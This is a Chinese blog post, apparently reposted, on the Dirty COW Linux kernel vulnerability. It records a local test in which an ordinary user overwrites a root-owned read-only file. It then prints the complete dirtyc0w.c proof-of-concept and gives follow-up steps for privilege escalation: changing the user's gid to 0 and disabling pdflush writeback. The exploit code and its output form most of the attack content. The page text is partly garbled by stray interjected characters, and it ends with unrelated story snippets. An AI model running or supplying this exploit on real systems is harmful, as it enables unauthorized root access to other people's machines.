關(guān)于臟牛漏洞

原文鏈接:http://wyb0.com/posts/2016/dirty-cow-vulnerabilities/

0x00 測(cè)試環(huán)境

我是在本地虛擬機(jī)測(cè)試的击纬,個(gè)人理解這個(gè)漏洞的話可以起到的作用是:一個(gè)普通用戶可以覆蓋一個(gè)root用戶的只讀文件做入,若理解有誤則希望大家提意見

CentOS release 6.5
[reber123@WYB ~]$ uname -a
Linux WYB 3.10.5-3.el6.x86_64 #1 SMP Tue Aug 20 14:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[reber123@WYB ~]$ id
uid=502(reber123) gid=502(reber123) groups=502(reber123)

0x01 創(chuàng)建文件

查看文件權(quán)限信息,可以看到屬主為root职辨,且只讀铁孵,權(quán)限為0404

[reber123@WYB ~]$ ls -al test
-r-----r-- 1 root root 19 Oct 21 00:02 test
[reber123@WYB ~]$ cat test
this is not a test
[reber123@WYB ~]$

0x02 編譯、執(zhí)行poc

POC保存為a.c旧巾,編譯為aaa

[reber123@WYB ~]$ gcc -lpthread a.c -o aaa
[reber123@WYB ~]$ ls
aaa  a.c  test
[reber123@WYB ~]$

更改test的內(nèi)容
[reber123@WYB ~]$ ./aaa test xxxxxxxxxxx
mmap f8969000

^C
[reber123@WYB ~]$ cat test
xxxxxxxxxxx a test
[reber123@WYB ~]$

0x03 后續(xù)利用

更改用戶gid為0即可


dirty_cow1.png

dirty_cow2.png
提權(quán)后執(zhí)行下:echo 0 > /proc/sys/vm/dirty_writeback_centisecs 
            用來關(guān)閉pdflush刷新,否則提權(quán)后過幾秒系統(tǒng)就會(huì)卡死

0x04 附poc

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
  
void *map;
int f;
struct stat st;
char *name;
  
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
  
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/sh ... 23c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
  
  
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末耸序,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子鲁猩,更是在濱河造成了極大的恐慌坎怪,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,807評(píng)論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件廓握,死亡現(xiàn)場(chǎng)離奇詭異搅窿,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)隙券,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,284評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門男应,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人娱仔,你說我怎么就攤上這事殉了。” “怎么了拟枚?”我有些...
    開封第一講書人閱讀 169,589評(píng)論 0 363
  • 文/不壞的土叔 我叫張陵薪铜,是天一觀的道長。 經(jīng)常有香客問我恩溅,道長隔箍,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 60,188評(píng)論 1 300
  • 正文 為了忘掉前任脚乡,我火速辦了婚禮蜒滩,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘奶稠。我一直安慰自己俯艰,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,185評(píng)論 6 398
  • 文/花漫 我一把揭開白布锌订。 她就那樣靜靜地躺著竹握,像睡著了一般。 火紅的嫁衣襯著肌膚如雪辆飘。 梳的紋絲不亂的頭發(fā)上啦辐,一...
    開封第一講書人閱讀 52,785評(píng)論 1 314
  • 那天谓传,我揣著相機(jī)與錄音,去河邊找鬼芹关。 笑死续挟,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的侥衬。 我是一名探鬼主播诗祸,決...
    沈念sama閱讀 41,220評(píng)論 3 423
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼轴总!你這毒婦竟也來了直颅?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 40,167評(píng)論 0 277
  • 序言:老撾萬榮一對(duì)情侶失蹤肘习,失蹤者是張志新(化名)和其女友劉穎际乘,沒想到半個(gè)月后坡倔,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體漂佩,經(jīng)...
    沈念sama閱讀 46,698評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,767評(píng)論 3 343
  • 正文 我和宋清朗相戀三年罪塔,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了投蝉。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,912評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡征堪,死狀恐怖瘩缆,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情佃蚜,我是刑警寧澤庸娱,帶...
    沈念sama閱讀 36,572評(píng)論 5 351
  • 正文 年R本政府宣布,位于F島的核電站谐算,受9級(jí)特大地震影響熟尉,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜洲脂,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,254評(píng)論 3 336
  • 文/蒙蒙 一斤儿、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧恐锦,春花似錦往果、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,746評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至潘飘,卻和暖如春飘蚯,著一層夾襖步出監(jiān)牢的瞬間馍迄,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,859評(píng)論 1 274
  • 我被黑心中介騙來泰國打工局骤, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留攀圈,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,359評(píng)論 3 379
  • 正文 我出身青樓峦甩,卻偏偏與公主長得像赘来,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子凯傲,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,922評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容